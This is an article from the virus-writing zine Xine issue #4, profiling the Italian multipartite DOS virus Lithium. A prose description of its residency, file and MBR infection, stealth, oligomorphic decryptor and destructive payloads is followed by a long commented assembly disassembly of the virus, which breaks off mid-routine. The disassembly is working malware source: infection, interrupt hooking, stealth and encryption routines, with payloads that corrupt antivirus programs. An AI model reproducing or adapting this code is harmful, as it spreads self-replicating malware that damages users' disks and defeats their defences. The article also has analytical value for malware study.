
                                        /-----------------------------\
                                        | Xine - issue #4 - Phile 309 |
                                        \-----------------------------/

                         Virus Spotlite: Lithium
                              by b0z0/IKX

Virus name      : Lithium
Virus author    : ATP (?)
Virus origin    : Italy, 1995/96 (?)
Virus lenght    : 4113 bytes
Virus type      : Multipartite BS/MBR/EXE/COM, semipolymorphic, stealth

Introduction:
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
 This is a very interesting multipartite semipolimorphic stealth virus from
Italy that has been also found a few times in the wild (at least considering
some older messages in italian virus newsgroups and echo areas). Apart from
including many interesting features, like full stealth on files, formatting
an extra track on floppyes, semipolymorphism and windows compatibility, it
contains some unusual ways to complete some tasks that make the virus worth
examining.

Memory residency:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 When starting from files to see if the virus is already resident in memory
it will check a word at 0:4eeh (that by default should be zero) that the virus
will also use as a temporary storage for internal installation routines. If
the virus isn't already resident then it will simply try to infect the MBR of
the main disk. The virus will then get resident in memory just at next boot
from the infected MBR (or alternatively when booted from an infected floppy
disk).
 The way the virus uses to get resident is quite strange. In a first moment
it will copy its interrupt 13h handler (at 0:228h) and the virus residency
routine (at 0:282h) to memory and then prepare something like a table with
calls to the residency routine after that. This first interrupt 13h handler
will stealth reads on MBR and will have to check if DOS seems to be loaded.
When DOS will seem to be loaded (a few usual checks are done) it will
point interrupt 21h to the last used element of the table it prepared before
that will, on the very first call to the interrupt 21h, jump to the residency
routine and then execute the requested call. This seems a bit strange, infact
it is. You should check the table I made in the disassembly and read the
comment to get a better idea of how this works.
 The memory residency routine will try to allocate the needed space in memory
triing first to allocate high memory. If this will be succesfull then it will
read the 8 virus sectors (from hd or fd) up there and then jump again to the
beginning of the virus with an internal value in the register BP. When executed
with this internal value the virus will infact delete the CALL to the residency
routine stored before and will also delete the first interrupt 13h handler and
all the rest of the installation code it copied to memory on boot. The virus
will then hook interrupt 21h and will redirect the hook of the interrupt 13h to
the real interrupt 13h routine, this is the one that will have to infect
floppyes (while the one before was just checking for DOS loading).
 The int 87h will be pointed to the original int 21h routine, while the original
int 13h will be redirected to int 86h.

File infection:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 COM and EXE file will be infected by Lithium on every exec (4bh), open (3dh),
extended open (6ch), chmod (43h) and close (3eh). The virus will check for
suspect filenames, like antiviruses and such, for files that aren't too small
or too big, skip windows executables and such normal procedures. Also the
infection stage is quite normal. For some tasks Lithium uses also SFTs. The
infected file will be first aligned to a lenght that can be divided by 10h and
after that the virus (in poly form) and the original file bytes will be written
to the file.

File Stealth:
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
 Lithium does stealth it filesize on findfirst/findnext calls using fcbs
(11h/12h) and using dta (4eh/4fh). To mark infected files it will add 200
years to the infected file date, that will be of course restored when the
virus is active. The date will be also corrected when a get/set file date
function will be issued (57h).
 On file read functions (3fh) the virus will check if the user would like to
read the file header. If so the virus will restore the original header bytes
so the user couldn't notice the virus changes. It is interesting that the virus
will have to read the infected file decryption routine and get the encryption
method from it and in this way it will be able to decrypt and restore the
original header informations, handling the various possible reads (like reading
just a part or the entire header). It will also of course truncate every try
to read after the lenght of the original file, this is to read the virus body.
 Finally also after a succesfull infection on open (3dh) or extended open (6ch)
the virus will stealth its lenght in SFTs.
 This stealth procedures will be disabled when the virus will think that PKZip
or a Backup program are being run.

Floppy/MBR infection/stealth:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 Floppyes are infected on interrupt 13h functions read and write (02 and 03).
When infecting a floppy the virus will format an extra track in a quite usual
way and store it's encrypted body and original boot sector there. The virus
won't permit anyone to read or write that extra track using int 13h. It is
interesting that the virus keeps two bytes to keep the status of the current
floppyes (A: and B:). One byte is used to mark if the floppy is infected or
not, while the other is used to mark if the floppy has been already checked or
not. This way the virus won't need to check for infection/stealth each time
a function is issued, but it will just check if the floppy disk has changed
(using function 16h of int 13h) and if it hasn't then it will use the internal
variables to understand if it has to check/infect/stealth the floppy or not.
Of course each time a disk change is detected or a format track is executed the
internal variables will be reinitialized so the virus will have to analyze the
floppy in the diskette drive. This is of course an interesting feature, even if
a bit space-consuming, since makes access to floppyes much faster and prevent
that quite boring sound of floppy drive seeking here and there.
 If writes to the floppy boot sector will be requested then the virus will
update the saved original boot sector on the floppy while on each read, when
needed, also the original data will be given instead of the infected boot.
 The MBR infection is done in a quite normal way. First of all the virus will
check if the MBR is already infected (the virus name is placed as marker) and
check if there are some DOS partitions on the hard disk. If there isn't any
then very probably the virus won't have any possibility to get active, so it
won't even infect the MBR. After this checks the virus will disable some BIOS
virus protections, save the original MBR and infect the hd in a quite normal
way. When the user will try to access some sector on the disk where the virus
will store itself (from 0/0/4 for 8 sectors) it will just forget that operation,
while when a read to the MBR will be requested it will stealth giving the
original one.
 Both the virus floppy boot and MBR are composed by a common piece of code that
initializes the stack and such (look at label generic_boot in disasm) and
another part depending if there is a floppy or MBR that will read the virus to
memory and jump there. So at boot this standard boot will be executed, then
the control will be given to the generated poly decryptor that will decrypt the
virus body and just then the real virus code will come in.

Polymorphism:
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
 The virus is slightly polymorphic in files as well as when on floppy and in
MBR (after getting control from the standard virus boot). It uses an
oligomorphic routine to generate decryptors that are, by consequence, quite
simple but the design is rather interesting.
 The routine infact has 7 parts of code for the decryptor and this will be
put randomly in the space for the decryptor (72h bytes at the beginning) and
"connected" with jumps from one to another. Each part will be put in one of
the 7 portions long 10h bytes, so they won't overwrite each other or something
like. This parts are quite simple, some have one or more way to be done, but
anyway the possible generations aren't too many and an algorithmic scanning is
quite straightforward (infact also the virus itself will have to somehow
'emulate' the decryptor to get the key and math operation it used, so it will
be able to restore the original bytes of the file). The parts the decryptor
will create, that will be executed in this exact sequence, are anyway:
  - adjust segment, this is set ds=cs, plus a one byte garbage (this one byte
    garbage is done to make the part 5 bytes long, including the jump)
  - lenght setting, sets in ax the virus lenght
  - pointer setting, sets in pointer register (di/si/bx) initial pointer value
  - not decryption instruction, will generate a NOT on the decryption
    instruction to hide it a bit
  - decryption instruction, this is a xor/sub/add byte ptr [si/di/bx],imm8
  - pointer increment, this is a INC of the pointer register (di/si/bx)
  - counter decrement, simply DEC ax and a JNE to begin of the loop.
 This parts as said will be connected by jumps and finally a jump to the
beginning of the code will be generated. To make the result a bit better also
some random bytes will be put on the 'background' of the generated decryptor.
The first 4 parts will be 5 bytes long (including the short jump to the next
part). This fact will infact be used by the virus itself to go through the
decryptor (by just getting the offsets of the short jumps) and find the
encryption method and encryption key.
 When the virus will generate the decryptor and encrypt the body it will always
just use a 200h buffer and write from time to time the results (to disk sectors
or to file).

Payloads:
ÄÄÄÄÄÄÄÄÄ
 Lithium has a few payloads depending on the system date and on the function
is being used. If the current day is later than may 1996 then the virus,
depending on a quite random value (the stack value), could activate itself.
 It has tho 6 possible payloads (depending on the stack value):
   - change colors (could activate only on open or delete file instructions)
   - change gray color (only on select default drive)
   - change palette register (only on remove directory)
   - write a command to com1 and com2 (only on write to file)
   - print virus name on printer (only on create temporary file)
   - set volume and serial number of hd to virus one
   - increment the system clock by one minute
 The check for payload activation is done on each int 21h call. Also when a
payload (indifferently which one) is activated the virus won't allow the
games DOOM, Wolfstein 3D and Quake to be played by just setting a CD20h at the
file entry point when someone will try to run them. Nasty :) From june of 1996
also many antiviruses will be corrupted by a CD20h set on their begin so they
won't run anymore.

Other goodies:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 The virus has its own int 24h error handler and it will add to the WIN
(possibly Windoze) command line parameters /D:FC so it won't scare the user
that something should be wrong with disk access.
 It has an interesting message in it, here is a translation:
	Swimming in the honey
	Blinded by light
        Oppressed by freedom
	Sick of insincere and easy smiles
	We fight to find something to believe in.
	The notes of rage and instability
	are the detonator of the wish to continue...
	...'CAUSE WE ARE ALIVE!



.286

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ					                                 ÛÛ
;ÛÛ                             Lithium                                  ÛÛ
;ÛÛ                        disasm by b0z0/iKX                            ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

virus_lenght     = (offset temp_memory - offset start + 0fh)
virus_enc_lenght = (offset temp_memory - offset real_start)
virus_paras      = ((offset temp_memend - offset start + 10h) / 10h) + 1h

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a

                org     0

lithium:

start:

oligo_space     db      72h     dup (90h)     ; space for the oligo decryptor

real_start:
                mov     ax,es                           ; if ES=0 then virus
                or      ax,ax                           ; is executed from boot
                jnz     from_file
                jmp     from_bootmbr
                jmp     short from_file
		nop

virus_name      db      "Lithium"

from_file:
                cmp     bp,1515h                        ; virus int. value?
                jne     normal_file_run
                jmp     run_from_mem                    ; if so we are being
                                                        ; executed from mem
normal_file_run:
                call    delta_offset
delta_offset:
                pop     bx
                sub     bx,offset delta_offset
		mov	cl,4
                shr     bx,cl                           ; manual reloc in mem
		mov	ax,cs
		add	ax,bx
		push	ax
                mov     bx,offset reloc_there           ; and jump there
		push	bx
                retf

reloc_there:
		push	es
                xor     cx,cx
		mov	ds,cx
                cmp     word ptr ds:[4eeh],cx           ; residency check
                jne     back_original

                pushf
		pop	ax
                and     ax,0fffh
		push	ax
                popf
                pushf
		pop	ax
                and     ax,0f000h
                cmp     ax,0f000h
                je      back_original

                mov     al,0cfh                         ; iret opcode
                les     di,dword ptr ds:[01h * 4]
                stosb                                   ; put iret at int1h
                les     di,dword ptr ds:[03h * 4]
                stosb                                   ; put iret at int3h

                push    cs
		pop	ds
		push	cs
		pop	es
                mov     ah,13h                  ; set int13h handler to some
                int     2fh                     ; place and get original in
                                                ; es:bx
                push    ds
		mov	ds,cx
                mov     word ptr ds:[(86h * 4)],bx      ; int86h will became
                mov     word ptr ds:[(86h * 4) + 2],es  ; original int13h
		pop	ds
                mov     ah,13h                  ; set int13h to the good one
                int     2fh                     ; again

		mov	dl,80h
                call    check_nfect             ; check if have to infect mbr
                jc      back_original
                call    infect_mbr              ; infect that
info_lup:
                jnc     info_lup
back_original:
                xor     cx,cx                   ; zero all registers
		mov	ax,cx
		mov	bx,ax
		mov	di,bx
		mov	si,di
		pop	ds

                cmp     byte ptr cs:[com_or_exe],1
                jne     com_restoration

exe_restoration:
                mov     ax,ds
		add	ax,10h
                add     word ptr cs:[original_cs],ax    ; host cs reloc
                add     ax,cs:[original_ss]             ; ss reloc
		mov	ss,ax
                mov     sp,cs:[original_sp]             ; original sp
                xor     ax,ax
                jmp     dword ptr cs:[original_ip]      ; go to original EXE

com_restoration:
                push    cs
		pop	ds
		inc	sp
		inc	sp
                cld
                inc     ah                      ; AX = 100h
                mov     si,offset original_file
		mov	di,ax
                movsw                           ; restore original 3 bytes
                movsb
                xor     di,di
                xor     si,si
		push	es
		pop	ds
                push    es
                push    ax                      ; push cs:100h
                dec     ah                      ; zero ax too
                retf                            ; go to original com

com_or_exe      db      00h

                db      "Nuotando nel miele",0
                db      "Accecati dalla luce",0
                db      "Oppressi dalla liberta'",0
                db      "Nauseati dai falsi e facili sorrisi",0
                db      "Lottiamo per trovare qualcosa in cui credere.",0
                db      "Le note della rabbia e dell'instabilita'",0
                db      "sono il detonatore della voglia di proseguire...",0
                db      "...'CAUSE WE'RE ALIVE!",0
                db      "You'llKnowWhatNITROMeans!",0
                db      "byATP"

decr_jmps_tbl:
                dw      00h     ; offset to segment adjustment
                dw      00h     ; offset to counter assignation
                dw      00h     ; offset to pointer assignation
                dw      00h     ; offset to decryptor modification
                dw      00h     ; offset to decryption instruction
                dw      00h     ; offset to pointer increment
                dw      00h     ; offset to counter decrement and check
                dw      00h     ; offset to the begin of virus body

decr_block_jmp:
;
; bx = offset from beginning of block jumping table
; si = running offset to substract
;
; this subroutine creates a jmp short from the current decryptor position
; (recognized from SI value) to the selected next decryptor block (value
; got from [decr_jmps_tbl + bx]
;
		push	ax
		push	bp
		push	di
		mov	bp,si
		add	si,2
                mov     di,word ptr [decr_jmps_tbl + bx]  ; get from the tbl
                mov     ax,di                             ; where we must jump
                sub     ax,si                   ; calculate jump lenght
                mov     ah,al
                mov     al,0ebh                 ; jmp short opcode
                mov     word ptr ds:[bp],ax     ; store jump to next block
		mov	si,di
		pop	di
		pop	bp
		pop	ax
		retn


oligo_algo:
; entry DX = initial pointer value, this is where encrypted stuff begins
                push    bp
		push	bx
		mov	bp,dx
                call    seg_bx_tspace           ; point after virus body
                xor     ax,ax
                int     1ah                     ; get system time count

                mov     ax,5050h
		xor	ax,cx
                xor     ax,dx                   ; generate the random value
                and     cl,7                    ; depending on date and
                ror     ax,cl                   ; time
		push	ax
		mov	ah,4
                int     1ah                     ; get date
                pop     ax

                xor     ax,cx
                xor     ax,dx                   ; AX contains random value
                                                ; for the entire generation
                mov     dx,offset temp_memory
                xor     di,di
enc_chunk_loop:
                or      dx,dx                   ; bytes to be encrypted
                jnz     continue_enc
                jmp     finished_enc            ; if zero it is finished
continue_enc:
		mov	cx,dx
                cmp     ch,1                    ; if <= 1xxh then finish it
                jbe     last_chunk
                mov     cx,200h                 ; else do a 200h chunk
last_chunk:
		sub	dx,cx
		mov	si,bx
                cld
		push	cx
		push	si
		push	di
		xchg	si,di
                rep     movsb                   ; copy next 200h chunk
		pop	di
		pop	si
		pop	cx
		push	cx
                or      di,di                   ; if zero then we are at the
                jz      must_make_dec           ; first 200h chunk, so we must
                                                ; create the decryptor
                jmp     encr_instr              ; else just keep encrypting
                                                ; 200h virus chunks
must_make_dec:
                add     si,72h                  ; where will start later enc
                sub     cx,72h                  ; decryptor won't be encrypted
		push	dx
		push	cx
		push	di
		push	si
		push	ax

                push    ds
		mov	di,bx
                xor     si,si
		mov	ds,si
                mov     cx,72h                  ; put some random bytes in the
                rep     movsb                   ; middle of the decryption
                pop     ds                      ; blocks

                mov     dl,6                    ; must stay in the 00h-70h area
                mov     cl,7                    ; 7 offset for blocks to create
                mov     di,offset decr_jmps_tbl

create_offsets:
                lodsw                                   ; random number
                and     ax,7
                inc     al                              ; offset between 02h
                inc     al                              ; and 09h
                mov     word ptr es:[di],ax
                mov     al,10h                          ; each block on a
                mul     dl                              ; different 10h block
                dec     dl                              ; so they won't disturb
                xor     ah,ah                           ; each other
                add     ax,offset temp_memory + 2       ; + base where code is
                                                        ; generated
                add     word ptr es:[di],ax             ; add to base before
                add     di,2                            ; point on next offset
                loop    create_offsets

		pop	ax
                push    ax                              ; has the rnd value
                mov     cl,0fh                          ; moving loops through
                                                        ; the offsets table

move_offsets:
                ror     ax,1
		mov	dx,ax
                and     dx,7                    ; get one from table to xchange
		cmp	dl,6
                jbe     good_src_xchg
		mov	dl,4
good_src_xchg:
		add	bx,si
                and     bx,7                    ; select the one to exchange
                cmp     bl,6                    ; with
                jbe     good_dst_xchg
		mov	bl,5
good_dst_xchg:
                mov     si,offset decr_jmps_tbl
		mov	di,si
                shl     bx,1                    ; both source and destination
                shl     dx,1                    ; *2 since offsets are words
		add	si,bx
		add	di,dx
                mov     bx,word ptr es:[si]     ; exchange the two blocks
                xchg    word ptr es:[di],bx     ; offsets
                mov     word ptr es:[si],bx
                loop    move_offsets
                pop     ax


                mov     bx,offset temp_memory
		mov	si,bx
		push	bx
                xor     bx,bx
                call    decr_block_jmp          ; first normal jump

                mov     word ptr [si+1],1f0eh   ; push cs, pop ds opcodes
                mov     cl,0a7h                 ; cmpsw opcode
                cmp     al,0aah
                ja      use_stringsi
                mov     cl,37h                  ; aaa opcode
use_stringsi:
                cmp     ah,0aah
                ja      no_change1b
                or      cl,8                    ; convert to scasw/aas
no_change1b:
                mov     byte ptr [si],cl        ; put one byte garbage
		inc	bx
		inc	bx
		add	si,3
                call    decr_block_jmp

                mov     byte ptr [si],0b8h      ; mov ax,
		inc	si
                mov     cx,(virus_enc_lenght)
                                                ; encrypted body virus lenght
                mov     word ptr [si],cx
		inc	si
		inc	si
		inc	bx
		inc	bx
                call    decr_block_jmp

                mov     dx,0430h                ; xor byte ptr [si],al
                mov     cx,3480h                ; xor byte ptr [si],imm8
                                                ; in CX will be carried the
                                                ; enc instruction while in DX
                                                ; the decryption one
                cmp     al,0aah
                jae     good_encr
                xor     dl,dl                   ; to add
                mov     ch,2ch                  ; so enc to sub
                cmp     al,55h
                jae     good_encr
                mov     dl,28h                  ; to sub
                mov     ch,4                    ; so enc to add
good_encr:
                cmp     ah,55h
                jbe     good_pointer
                or      ch,1                    ; or 1 means use DI as pointer
                cmp     ah,0aah
                jae     good_pointer
                or      ch,2                    ; or 3 becames use BX as pntr
good_pointer:
		push	cx
                mov     word ptr ds:[encr_instr],dx
                jmp     short prefeccia
prefeccia:
		and	ch,3
		mov	dh,ch
                shl     ch,1
		and	ch,4
		and	dh,1
                or      ch,dh                   ; convert from pointer value
                or      ch,2                    ; to value for immediate
                xor     ch,4                    ; assignment (SI 1 -> 6,
                pop     di                      ; DI 2 -> 7, BX 3 -> 3)
		push	cx
                or      ch,0b8h                 ; mov reg_pointer,imm16
                mov     byte ptr [si],ch
		inc	si
                mov     word ptr [si],bp        ; initial pointer value
		inc	bx
		inc	bx
		inc	si
		inc	si
                call    decr_block_jmp

                mov     cx,di
                and     ch,3                    ; get pointer register
		cmp	ch,2
                jne     goo_pntt
		inc	ch
goo_pntt:
                or      ch,54h                  ; not opcode with reg used
                mov     cl,0f7h                 ; not prefix
                mov     word ptr [si],cx        ; store the not
                mov     cx,word ptr [decr_jmps_tbl + 08h]
                sub     cx,word ptr [decr_jmps_tbl + 0eh]
                mov     byte ptr [si+2],cl      ; store the offset from NOT
                add     si,3                    ; instruction to the decryption
                inc     bx                      ; instruction for the change
		inc	bx
                call    decr_block_jmp

                not     di      ; decryption instruction isn't clear but NOTed
                mov     word ptr [si],di        ; store decryption instruction
                mov     byte ptr [si+2],al      ; and value
		add	si,3
		inc	bx
		inc	bx
                call    decr_block_jmp

                pop     cx
                or      ch,40h                  ; increment pointer
                mov     byte ptr [si],ch
		inc	si
		inc	bx
		inc	bx
                call    decr_block_jmp

                mov     byte ptr [si],48h       ; decrement counter AX
		add	si,3
                mov     cx,word ptr [decr_jmps_tbl + 08h]
                sub     cx,si                   ; calculate jump to next loop
		mov	ch,cl
                mov     cl,75h                  ; jne next loop
                mov     [si-2],cx               ; store
		inc	bx
		inc	bx
                call    decr_block_jmp          ; else last jump to virus entry

		pop	bx
		pop	si
		pop	di
		pop	cx
		pop	dx

encr_instr:
                dw      0430h                   ; will be substituted by the enc
                inc     si                      ; instruction using [si] and al
                                                ; as key
                loop    encr_instr              ; encrypt chunk

		pop	cx
                add     di,cx                   ; move on next chunk
		push	ax
		push	bx
		push	cx
		push	dx
                call    word ptr cs:[what_call] ; call the routine that will
                pop     dx                      ; write the chunk to file or
                pop     cx                      ; boot which address is in
                pop     bx                      ; [what_call]
		pop	ax
                jmp     enc_chunk_loop
finished_enc:
		pop	bx
		pop	bp
		retn

write_to_disk:
; this routine writes the 200h chunk (or smaller if last) to disk. values of
; where to place the virus (h/s/c) are setup before in virus code. the chunk
; is already pointed by ES:BX
                inc     word ptr ds:[value_cx]
                jmp     short prefetchio
prefetchio:
		mov	ax,301h
                db      0b9h                    ; mov cx,
value_cx        dw      05h
                db      0bah                    ; mov dx,
value_dx        dw      80h
                int     86h
		retn

write_to_file:
; this routine writes the 200h chunk to a file. the virus body in input is at
; ES:BX. if the last chunk is written to file then also the bytes of align to
; a 10h boundary lenght are written
                mov     ah,40h                  ; write to file
		mov	dx,bx
                db      0bbh                    ; mov bx,
file_handle     dw      05h
                int     87h
		cmp	cx,200h
                je      not_last_cnk

                mov     ah,40h                  ; write
                mov     cx,0fh
                mov     dx,0aaaah
                db      80h,0e9h                ; sub cl,
value_cl        db      0ch                     ; align to 10h
                int     87h
not_last_cnk:
		retn

from_bootmbr:
; entry point when virus is activated from mbr or floppy bs. control is
; given here after the stable virus loader and the oligo decryptor

                cld
                push    00h
                pop     es
                push    00h
                pop     ds
                mov     ax,201h                 ; read orignal mbr of fb
                mov     bx,7c00h                ; to 0:7c00h
                pop     dx                              ; on the stack are
                mov     word ptr cs:[read_from_dx],dx   ; present the params
                pop     cx                              ; of hd or fb where
                mov     word ptr cs:[read_from_cx],cx   ; the virus resides
                dec     cx                      ; virus resides - 1 = original
                int     13h                     ; mbr of fbs

                mov     word ptr ds:[4eeh],02eeh        ; virus internal value
                mov     si,13h * 4
                mov     di,86h * 4
                push    si
                movsw                           ; save original int13h at
                movsw                           ; the int86h position

; map of virus in memory installation:
;
;  0:228h - 0:2D9h      : virus int13h handler code
;  0:282h               : virus loading in memory routine, this is the
;                       ; memory_residence routine
;  0:2F6h               : CALL to 0:282h + first JMP FAR opcode
;  0:2FAh               : original int21h segment:offset
;  0:2FEh               ; CALL to 0:282h + first JMP FAR opcode
;  0:306h               : CALL to 0:282h + first JMP FAR opcode
;  0:30eh               : CALL to 0:282h + first JMP FAR opcode
;  0:316h               : CALL to 0:282h + first JMP FAR opcode
;  0:4eeh               ; word used by virus for residency check and internal
;                       ; purposes
;  0:4f0h - 4f8h        : a JMP to 0:228, int 86h and retf2
;                       ; the int 86h will be changed to a int 88h

                push    cs
                pop     ds
                mov     si,offset handler_13h           ; copy to 0:228h the
                mov     di,228h                         ; first int13h handler
                mov     cx,(offset handler_13h_end - offset handler_13h)
                rep     movsb

                mov     cl,05h                  ; put the calls as described
                mov     di,2f6h
                mov     bx,(282h - (2f6h + 03h))        ; call offset
put_calls_t:
                mov     al,0e8h                 ; call opcode
                stosb
		mov	ax,bx
                stosw
                sub     bx,8                    ; call offset
                mov     al,0eah                 ; jmp far opcode
                stosb
                add     di,4                    ; on next one
                loop    put_calls_t


                mov     si,offset int_jumper
                mov     di,4f0h
                mov     cl,(offset int_jumper_end - offset int_jumper)
                push    di                      ; copy the other bounch of
                rep     movsb                   ; code
		pop	ax
                pop     di                      ; DI = to 13h in IVT

                stosw                           ; store offset to the stored
                xor     ax,ax                   ; jump at 0:4f0h as new int13h
                stosw                           ; store our segment

                mov     dl,80h
                call    check_nfect             ; check to infect mbr
                jc      already_orbad
                call    infect_mbr
already_orbad:
                db      0eah                    ; jmp far to original mbr
                dw      7C00h, 0                ; or floppy boot

int_jumper:
                db      0e8h
                dw      (228h-4f3h)
                int     86h                     ; original int13h
                retf    2                       ; back to reality
int_jumper_end:

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
handler_13h:
; this is the virus int13h handler that is installed as soon as the virus gets
; resident from mbr or fbs
                call    reading_mbr             ; check if reading mbr

                pusha
                push    ds
                xor     ax,ax
                mov     ds,ax                   ; on ivt
                mov     si,21h * 4              ; on int21h entry

                or      ax,word ptr ds:[si+2]           ; int21h handler seg
                je      via_da_qui                      ; check if dos
                cmp     ax,800h                         ; seems loaded
                jnb     via_da_qui
                cmp     word ptr ds:[(27h * 4) + 2],ax
                jne     via_da_qui

                cld                                     ; so hook int21h
                mov     bx,word ptr ds:[si]             ; bx int21h handler off
                mov     di,word ptr ds:[4eeh]           ; di points on last
                mov     byte ptr ds:[di],0e9h           ; used call + jmp block
                mov     word ptr ds:[di+1],ds           ; jmp $+3
                add     di,08h                          ; di + 8 points on
                                                        ; the next call+jmp
                                                        ; (look mem map up)
                mov     word ptr ds:[4eeh],di           ; store offset to the
                                                        ; actually used one
                mov     word ptr ds:[di+4],bx           ; segment and offset for
                mov     word ptr ds:[di+6],ax           ; the jmp far

                mov     word ptr ds:[(87h * 4)],bx      ; int87h is the
                mov     word ptr ds:[(87h * 4) + 2],ax  ; original int21h

                mov     word ptr ds:[si],di             ; int21h points now
                mov     word ptr ds:[si+2],ds           ; to last virus handler
via_da_qui:
                pop     ds
                popa
                ret

reading_mbr:
                cmp     ah,2                    ; read function
                jne     no_mbrstealth
		cmp	cx,1
                jne     no_mbrstealth
                cmp     dx,80h                  ; reading mbr
                jne     no_mbrstealth
                inc     cl                      ; stealth to original mbr
		inc	cl
no_mbrstealth:
		retn

memory_residence:
                pushf
                pusha
                push    ds
                push    es
                mov     ax,5800h                ; get memory alloc startegy
                int     87h
                push    ax
                mov     ax,5802h                ; get umb link state
                int     87h
                push    ax
                mov     al,01h                  ; set memory alloc strategy
                mov     bx,80h                  ; to first fit, try high first
                int     87h
                mov     al,03h                  ; set umb link state
                mov     bl,01h                  ; add umb to dos chain
                int     87h
                mov     ah,48h                  ; allocate needed memory
                mov     bx,virus_paras
                int     87h
                jb      came_here               ; exit on error

                push    ax
                dec     ax
                mov     ds,ax                   ; on virus mem block mcb
                mov     word ptr ds:[01h],8h    ; set as dos owned
                mov     ax,208h                 ; read eight virus sectors
                xor     bx,bx
                pop     es                      ; to allocated memory
                db      0b9h                    ; mov cx,
read_from_cx    dw      5102h                   ; where from hd or fd
                db      0bah                    ; mov dx,
read_from_dx    dw      0h                      ; where from dx
                int     86h
                mov     bp,1515h                ; internal virus value
                push    es                      ; jump again to beginning
                push    bx                      ; of the virus
                retf
came_here:
                mov     ax,5803h                ; set umb link state
                pop     bx
                xor     bh,bh                   ; restore the old one
                int     87h
                mov     ax,5801h                ; set mem alloc strategy
                pop     bx                      ; restore the old one
                int     87h
                pop     es
                pop     ds                      ; exiting mem loading routines
                popa
                popf
                ret
handler_13h_end:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

run_from_mem:
                push    cs
                pop     ds
                push    00h
                pop     es
                mov     al,90h                          ; nop opcode
                mov     di,word ptr es:[04eeh]          ; pointer on actual
                mov     word ptr ds:[jmp_far_off],di    ; res+21h block
                cld
                stosb                   ; delete the call to the residency
                stosb                   ; routine with NOPs
                stosb
                push    es
                pop     ds
                inc     di              ; DI now points on the original seg:off
                push    di              ; of the int21h, stored before after the
                mov     si,di           ; JMP FAR and make SI point the same
                mov     di,4f0h         ; point DI where the Int13h handler
                stosb                   ; resides and cover the CALL to 228h
                stosb                   ; (this is the int21h checker) with
                stosb                   ; nops
                push    cs
                pop     es
                mov     di,offset old_int21h
                movsw                   ; SI points on adress of original int21h
                movsw                   ; and put that in dword old_int21h
                pop     di              ; pop pointer to int21h seg:off
                push    ds
                pop     es
                mov     ax,offset int21h_handler
                stosw                   ; now put the virus handler instead
                mov     ax,cs           ; of it, this is hook int 21h
                stosw

                xor     ax,ax
                mov     di,228h                 ; delete the first int13h
                mov     cx,0b1h                 ; handler with mem res stuff
                rep     stosb                   ; from memory

                mov     byte ptr cs:[payload_byte],al
                mov     word ptr cs:[value_ax1],ax      ; virus values
                mov     word ptr cs:[value_ax2],ax      ; initialization

                mov     word ptr ds:[88h * 04h],offset entry_88h ; hook int88h
                mov     word ptr ds:[(88h * 04h) + 02h],cs

                mov     byte ptr ds:[04f4h],088h    ; change int86h to int88h
                                   ; in the virus int13h handler. this means,
                                   ; install the int13h handler that infects
                                   ; boots instead of the one waiting to hook
                                   ; int21h

                mov     ah,04h                  ; get real time clock in bcd
                int     1ah
                cmp     cx,1996h                ; check if year < 1996
                jb      no_act
                ja      loccaz
                cmp     dh,05h                  ; check month
                jb      no_act
loccaz:
                xor     dx,sp
                and     dx,0707h
                cmp     dh,dl                   ; way random to see if is
                jne     no_act                  ; gonna activate or not
                inc     dl                      ; if so select one way to
                mov     byte ptr cs:[payload_byte],dl   ; activate
no_act:
                mov     ax,5803h                ; set umb link state
		pop	bx
                xor     bh,bh                   ; restore the old state
                int     87h
                mov     ax,5801h                ; set mem alloc strategy
                pop     bx                      ; to old one
                int     87h
		pop	es
		pop	ds
                popa
                popf
                inc     sp
                inc     sp

                db      0eah                    ; jmp far
jmp_far_off     dw      02f6h                   ; this contains actual
                dw      0000h                   ; call_res+21h block

forget_call:
                xor     ah,ah                   ; just do a disk reset
                jmp     short rstatus_and_back
		nop

virus_disk_handler:
                cmp     ah,1                    ; see if calling a function
                jbe     pass_to_old             ; we need to stealth such as
                cmp     ah,7                    ; read, write, format
                ja      pass_to_old
                cmp     dx,80h                  ; check if on primary hd
                jne     pass_to_old
		push	cx
                db      83h,0e1h,0c0h           ; and cx,0ffc0h
		pop	cx
                jnz     pass_to_old             ; doing something on virus zone?
                cmp     cl,1                    ; if not mbr it could delete
                jne     forget_call             ; the virus, so forget it
                cmp     ah,2                    ; if reading stealth, else
                jne     forget_call             ; forget it
		push	cx
		push	ax
		and	al,1
                inc     cl                      ; read the original mbr
		inc	cl
                int     86h
		pop	cx
		mov	al,cl
		pop	cx
                jmp     short rstatus_and_back
		nop
entry_88h:
                mov     byte ptr cs:[check_by],dl       ; DL contains drive
		cmp	dl,1
                jb      floppy_a                        ; 0 then floppy A:
                jz      floppy_b                        ; 1 then floppy B:
                jmp     short virus_disk_handler        ; else a hard disk
pass_to_old:
                int     86h
rstatus_and_back:
                pushf
		push	ax
